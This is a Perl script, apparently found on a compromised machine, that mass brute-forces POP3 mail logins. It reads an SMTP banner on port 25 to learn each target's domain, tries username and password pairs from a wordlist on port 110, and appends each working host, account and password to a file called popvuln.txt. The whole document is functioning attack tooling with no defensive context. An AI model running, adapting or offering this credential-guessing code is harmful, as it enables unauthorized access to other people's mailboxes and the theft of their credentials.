File: //proc/2/cwd/proc/3/cwd/ScN/smtp/process
#!/usr/bin/perl
use IO::Socket qw(:DEFAULT :crlf);
$file = $ARGV[0];
chomp $file;
sub popcheck {
$host = shift;
chomp $host;
if( $host =~ m/^(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)/ )
{
undef $domain;
undef $stimeout;
undef $foundcount;
my $foundcount = 0;
$nicefile = "users.txt";
open(IN_FILE, $nicefile);
@data=<IN_FILE>;
close IN_FILE;
my $count = 0;
for $line (@data){
$count++;
if (!$stimeout) {
chomp $line;
($user,$mypass) = split (/:/,$line);
eval {
local $SIG{ALRM} = sub {$stimeout = 1;
die "1";
};
alarm 15;
my $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 25);
print $socket ".\n\n";
$answer = <$socket>;
close $socket;
($domain) = $answer =~ m/220 (.*?) /;
$domain =~ /([^.]+\.[a-z]+)$/;
$domain = $1;
$username = "$user\@$domain"; # format masks for user name and password for
if ($domain ne "") {
my $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 110);
$answer = <$socket>;
#print "$answer\n";
# send username, pass
print $socket "user " . $username,CRLF;
$answer = <$socket>;
print $socket "pass " . $mypass,CRLF;
$answer = <$socket>;
#print "$answer\n";
if ($answer =~ /\+OK/) {
$foundcount++;
$niceprint = "$host,$username,$mypass";
alarm 0;
}
$sortfile = "popvuln.txt";
open(IN_FILE, $sortfile);
@sortdata=<IN_FILE>;
close IN_FILE;
$sortin = "@sortdata";
if ( ($foundcount == 1) && ($count >= 2)) {
if ($sortin !~ /$username/) {
open(OUT, ">>popvuln.txt");
print OUT "$niceprint\n";
close OUT;
}
}
}
}
}
}
}
}
$hostfile = "temp/$file";
open(HOST_FILE, $hostfile);
@hosts=<HOST_FILE>;
close HOST_FILE;
foreach $host (@hosts){
#print $host;
popcheck($host);
open(OUT, ">>temp/doneservers.txt");
print OUT "$host\n";
close OUT;
}
open(OUT, ">>temp/doneprocesses.txt");
print OUT "$file\n";
close OUT;
exit;